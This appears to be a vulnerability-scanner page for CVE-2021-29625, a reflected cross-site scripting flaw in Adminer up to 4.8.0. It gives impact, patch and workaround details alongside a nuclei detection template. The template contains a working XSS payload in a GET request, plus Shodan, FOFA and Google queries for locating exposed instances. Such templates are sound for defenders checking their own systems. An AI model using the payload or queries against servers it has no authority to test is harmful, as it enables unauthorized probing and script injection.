Adminer <=4.8.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

9.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled).

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the Adminer interface, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`).

How to confirm it

Send: GET {{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-29625 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-29625

info:
  name: Adminer <=4.8.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the Adminer interface, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`).
  reference:
    - https://sourceforge.net/p/adminer/bugs-and-features/797/
    - https://github.com/vrana/adminer/commit/4043092ec2c0de2258d60a99d0c5958637d051a7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-29625
    - https://github.com/vrana/adminer/security/advisories/GHSA-2v82-5746-vwqc
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-29625
    cwe-id: CWE-79
    epss-score: 0.09572
    epss-percentile: 0.95508
    cpe: cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: adminer
    product: adminer
    shodan-query:
      - http.title:"login - adminer"
      - cpe:"cpe:2.3:a:adminer:adminer"
    fofa-query:
      - app="adminer" && body="4.7.8"
      - title="login - adminer"
    google-query: intitle:"login - adminer"
    hunter-query: app.name="adminer"&&web.body="4.7.8"
  tags: cve2021,cve,adminer,xss,sqli,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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